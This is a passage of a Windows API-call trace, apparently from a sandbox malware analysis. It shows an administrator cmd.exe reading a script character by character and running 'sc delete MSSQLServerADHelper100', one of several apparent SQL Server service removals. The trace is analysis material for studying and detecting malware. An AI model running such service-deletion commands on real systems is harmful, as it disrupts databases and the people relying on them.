lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="rEEAMSQL2012\"\n") returned 1 [0065.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="AEAMSQL2012\"\n") returned 1 [0065.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="DAMSQL2012\"\n") returned 1 [0065.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="HMSQL2012\"\n") returned 1 [0065.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="eSQL2012\"\n") returned 1 [0065.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="lQL2012\"\n") returned 1 [0065.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="pL2012\"\n") returned 1 [0065.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="e2012\"\n") returned 1 [0065.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.673] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="r012\"\n") returned 1 [0065.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.673] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="112\"\n") returned 1 [0065.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.673] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="02\"\n") returned 1 [0065.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.673] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35e, cchWideChar=1 | out: lpWideCharStr="0\"\n") returned 1 [0065.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.673] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e360, cchWideChar=1 | out: lpWideCharStr="\n\n") returned 1 [0065.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.673] GetFileType (hFile=0xb8) returned 0x3 [0065.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.673] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.673] GetFileType (hFile=0x120) returned 0x3 [0065.674] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLServerADHelper100\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLServerADHelper100\n", lpUsedDefaultChar=0x0) returned 34 [0065.674] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x21, lpOverlapped=0x0) returned 1 [0065.674] GetProcessHeap () returned 0x1b0000 [0065.674] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0065.674] GetProcessHeap () returned 0x1b0000 [0065.674] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0065.674] GetProcessHeap () returned 0x1b0000 [0065.674] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0065.674] GetProcessHeap () returned 0x1b0000 [0065.674] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0065.674] GetProcessHeap () returned 0x1b0000 [0065.674] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4e) returned 0x1c97e0 [0065.674] GetConsoleOutputCP () returned 0x1b5 [0065.674] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.674] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.674] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x54) returned 0x1c9840 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0065.675] SetErrorMode (uMode=0x0) returned 0x1 [0065.675] SetErrorMode (uMode=0x1) returned 0x0 [0065.675] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0065.675] SetErrorMode (uMode=0x1) returned 0x1 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0065.675] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.675] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0065.675] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0065.675] GetProcessHeap () returned 0x1b0000 [0065.675] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0065.676] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.676] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.676] GetLastError () returned 0x2 [0065.676] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.676] GetLastError () returned 0x2 [0065.676] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.676] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.676] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.676] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.676] GetLastError () returned 0x2 [0065.676] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.677] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.677] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0065.677] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0065.677] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.679] GetProcessHeap () returned 0x1b0000 [0065.679] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0065.679] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.679] GetProcessHeap () returned 0x1b0000 [0065.679] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xba) returned 0x1c9180 [0065.679] GetProcessHeap () returned 0x1b0000 [0065.679] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xba [0065.679] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLServerADHelper100") returned 1 [0065.680] GetProcessHeap () returned 0x1b0000 [0065.680] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0065.680] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0065.680] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0065.680] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0065.680] GetProcessHeap () returned 0x1b0000 [0065.680] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.680] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.681] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.681] GetProcessHeap () returned 0x1b0000 [0065.681] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0065.681] GetProcessHeap () returned 0x1b0000 [0065.681] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0065.681] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLServerADHelper100", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLServerADHelper100", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete MSSQLServerADHelper100", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xb28, dwThreadId=0xb5c)) returned 1 [0065.685] CloseHandle (hObject=0x50) returned 1 [0065.685] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0065.686] GetProcessHeap () returned 0x1b0000 [0065.686] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0065.686] GetEnvironmentStringsW () returned 0x1d1b10* [0065.686] GetProcessHeap () returned 0x1b0000 [0065.686] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0065.686] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.686] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0065.686] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0065.686] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0065.736] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0065.736] CloseHandle (hObject=0x54) returned 1 [0065.736] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0065.736] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0065.736] GetProcessHeap () returned 0x1b0000 [0065.736] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0065.736] GetEnvironmentStringsW () returned 0x1d1b10* [0065.736] GetProcessHeap () returned 0x1b0000 [0065.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0065.736] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.736] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0065.736] GetProcessHeap () returned 0x1b0000 [0065.736] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0065.736] GetEnvironmentStringsW () returned 0x1d1b10* [0065.736] GetProcessHeap () returned 0x1b0000 [0065.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0065.736] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.736] GetProcessHeap () returned 0x1b0000 [0065.736] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0065.736] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0065.736] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.737] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.737] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0065.737] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.737] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0065.738] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.738] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0065.738] GetConsoleOutputCP () returned 0x1b5 [0065.738] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.738] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.738] GetProcessHeap () returned 0x1b0000 [0065.738] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0065.738] GetProcessHeap () returned 0x1b0000 [0065.738] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0065.738] GetProcessHeap () returned 0x1b0000 [0065.738] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0065.738] GetProcessHeap () returned 